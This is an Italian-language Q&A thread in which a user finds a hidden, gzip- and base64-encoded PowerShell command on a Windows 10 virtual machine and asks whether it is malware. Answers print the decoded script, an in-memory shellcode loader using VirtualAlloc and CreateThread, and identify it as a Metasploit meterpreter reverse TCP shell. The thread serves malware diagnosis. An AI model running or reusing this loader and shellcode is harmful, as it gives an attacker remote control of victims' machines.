Questo script di PowerShell è un'infezione?

6

Mentre ero seduto di fronte al computer che non lo usava, la mia macchina Windows 10 ha rapidamente lampeggiato alcune finestre del terminale, e poi mi ha dato un popup di sicurezza di Windows, chiedendo la mia password.

Non ho idea di cosa serva, quindi ho fatto qualche spicciolo nel file explorer e nel registro eventi, e ho trovato un'intera serie di voci per PowerShell con i seguenti dati:

HostApplication=powershell.exe -nop -w hidden -c $s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String(
'H4sIAEy98VUCA7VWbW+bSBD+nEr9D6iyBKiOjRO3TSNVOsAQ4zOOKTaO7VonDAusvbwE1rFxr//9BhsS99pU6UmHkNiXmZ1nnpnZwdtEDsVxxNALfcV8ff3qbGindshwtcBKrSvpwpus6kxt793eJ8Mr/uwMJGphL8qzeGcO75hPDDcXk6QThzaOFtfX8iZNUUSP88YNomKWoXBJMMo4nvmbmQQoRee3yxVyKPOVqf3VuCHx0ialWC7bToCYczFyi71+7NgFuoaZEEw59ssXlp+ftxYN5X5jk4xjzTyjKGy4hLA8840vDI7yBHGsjp00zmKPNiY4urxojKPM9tAATntAOqJB7GYsD77AmyK6SSPmxKvimKMQx8JwmMaO6LopykCnoUUP8RpxtWhDSJ35g5uXGD5vIopDBPsUpXFiovQBOyhrdO3IJegz8hbcAG0r11+qxJ0qgdSQpnwdovMsWD12NwQd9Vn+R7gnceXhOYkt0PHt9avXr7wqJVatm6uHbTb0T/MCRmfzwxgBZG4YZ/gg/IkR6owOZm0apzlMa6N0g/gFMy8CMl8smFqWZn/11frzJ7QqcRAmIz1Z9S/1Yn1uxdhdgF4ZsdpSSO6L9eczr4M8HKFOHtkhdqrk4n4WAeQRdPC3UYkNABnHlhvI7SCCfJsWbNaZ+Y9qSojpo660wcRFqehAFDNABQHmvwdzDBDHapGOQqDqOGchEB6kNKqkyzTOK+vFHIRYmdhZVmeGG6gpp86YyCbIrTNilOFyS9zQ+DBkn+DqG0KxY2e0Om7BVzyW9uQ4ymi6cSB64PvITJCDbVJQUWe62EVSbmK/ssv+lAjZJgRHPpz0AIGAlYIAkxY5kQLEMv58w0RUCxOCQpA6lLdKbB+KuSyGQxrZPnLZf2Os0vyY0wUbFQ0nCCHEJolpnbFwSuGWKJh9TKb/iuLkmjjgkVNUxoSrymYu5bTI89rWv729JEV6lhQdCEkpkKGmcSjZGXrfNmkKVHFvmgruvBt24r0Ij6J+NizJHFszTXd7xNSoOVVwfxwEGm5pPszzseIPqZD8ORp1e2anK6adXeCJWqYpXSk3WpLodPEHqyeNx6CH5b6x2mmiK4X+nT+Vt9owuNPAkNz3NR++khY4kjATfElQ5b4pBQoWRN80uka7NdOaV0TCe1Mzxe7k0d6jHaXd7t7tRuJA74mBeuuqrQv1oL8u9Gfrm35HOcydYm5MMwUrYEdRp4YVoImVSBNFnRlWovlvt75h9ZttNZBgXcO7fmI24Wm1eg+Ru9fJ1V4HuIY162E003yU+6IhiuY0IuZyK4M/PTnzkaKoY1hbj7RoZywT3c2n3eZHS8coiUVDEUWVQHmGor3tNFuTWDWsd8ZYEXb5WNhtlVVzq+Dedl1+xzfv3/tNrz1sWqYWde1AArx5r73GvbewF9qWMPWaVsFfR4ma++iO2EO5FZNlszXGnQ+SpGHUG+gOuZfAZzjjnbGM5Qsn8ACT5l8Z/t06WH0ME/CLxKJ0iH8hlwPPPcA/TdQhKWSxM+hhxy3O6mEPznWBIw988fuzXAWaxr60Ffxkt8bqx+guMLxm9KbIWkjb2n7dIuH+JBufazm6nWaBTSBLoYtU14Qap2rZDoYxLjQ47vCnsEZphAg0Vmi9VaWJhMRO0Z2eGge0x2PTWsCNMYbh5cVPRzzzKMg/Na1q6fp6BlChdo+l1eijyKdBXdhdCgJ0HWHXFsDdlzsox0nOlYfVi75VsvRkgRws8EVd12I16d5Mwo7+/5JYXikBfNwXkfi09ovdFxEr1CsCftj4fuG3WP5tBiY2piBpwsVI0LFL/4KIMnFOfnEeAwWZ4ZVP8c95u6HnA/j9+QfZGsmx7AoAAA=='
));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

La stringa base64 decodifica su uno a partire da un'intestazione gzip valida (hex 1F 8B 08 ...) Ho provato a decomprimerlo sul mio Mac, ma ho riscontrato un errore.

Qualcuno ha un'idea di cosa sia, e c'è qualche possibilità che sia legittimo?

Aggiornamento:   La macchina infetta è un host Win 10 in esecuzione su VirtualBox su Mac. C'è qualche possibilità che l'host Mac possa essere infetto? Presumo che questo sia qualcosa che la virtualizzazione impedisce, ma gli exploit sono in continua evoluzione ...

    
posta AShelly 10.09.2015 - 21:02
fonte

4 risposte

11

Si decomprime bene per me ... Ho convertito la stringa Base64 in binario, quindi ho eseguito gunzip su di esso (sto usando un sistema Linux qui). Ciò si traduce in un altro pezzo di PowerShell che fa cose che possono essere considerate come assolutamente pericolose. Contiene un pezzo di 450 byte, che carica in RAM (nativa) e viene eseguito come codice. Sono troppo pigro per smontare il pezzo di codice, ma mi sento abbastanza sicuro quando dico che questo pezzo di codice non è affatto sicuro.

Sembra che ci sia del malware nella tua macchina, che cerca di ottenere alcuni privilegi. È tempo di nuotare, direi.

    
risposta data 10.09.2015 - 21:19
fonte
6

Pubblicare questo in una risposta, perché è troppo grande per un commento: non so cosa faccia (anche se sembra un po 'approssimativo) ma ecco l'espansione. È uno script PS stesso, ovviamente:

function t2Mj {
    Param ($hVrV8B2fWj, $zfOqpP8)                
    $mJnysoxSPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $mJnysoxSPX.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($mJnysoxSPX.GetMethod('GetModuleHandle')).Invoke($null, @($hVrV8B2fWj)))), $zfOqpP8))
}

function j1G8vwsPg {
    Param (
            [Parameter(Position = 0, Mandatory = $True)] [Type[]] $srs_LF,
            [Parameter(Position = 1)] [Type] $lTMpjL3Mn = [Void]
    )

    $b0pq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $b0pq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $srs_LF).SetImplementationFlags('Runtime, Managed')
    $b0pq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $lTMpjL3Mn, $srs_LF).SetImplementationFlags('Runtime, Managed')

    return $b0pq.CreateType()
}

[Byte[]]$wgOO3l = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAACJCsgeEEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoFQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXkhj9mpAQVloABAAAEFYSInySDHJQbpYpFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/n")

$zk1lmz = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll VirtualAlloc), (j1G8vwsPg @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wgOO3l.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($wgOO3l, 0, $zk1lmz, $wgOO3l.length)

$oFpHGWmDM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll CreateThread), (j1G8vwsPg @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zk1lmz,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll WaitForSingleObject), (j1G8vwsPg @([IntPtr], [Int32]))).Invoke($oFpHGWmDM,0xffffffff) | Out-Null

Sicuramente sembra discutibile. Non lo riconosco, però.

    
risposta data 10.09.2015 - 21:26
fonte
1

Avevo una macchina con due voci di registro simili.

Ho provato i seguenti scanner per vedere se avrebbero recuperato lo script dodgy nel registro e nessuno di questi li ha individuati al momento della scrittura: AVG, Kapersky tdsskiller, rKill, Malwarebytes, hitmanpro , Zemana Antimalware, pulitore adware, Strumento di rimozione Junkware, Emisoft, Hijackthis, UsbFix, CCleaner e Smadav.

Quelli che non ho ancora provato sono RogueKiller e lo scanner di Symantec, entrambi avevano articoli o menzioni di questo tipo di comportamento da Powerworm o PowerShell. Ad ogni modo, è un modo molto intelligente per nascondere il malware sulla macchina poiché alla maggior parte degli scanner manca solo questo metodo di nascondersi nel registro.

    
risposta data 25.03.2016 - 21:45
fonte
0

Questa è metasploit meterpreter shell che prova un reverse tcp, fondamentalmente iniettando un servizio (dll) in un processo e ottenendo shell.

    
risposta data 18.06.2016 - 20:01
fonte

Leggi altre domande sui tag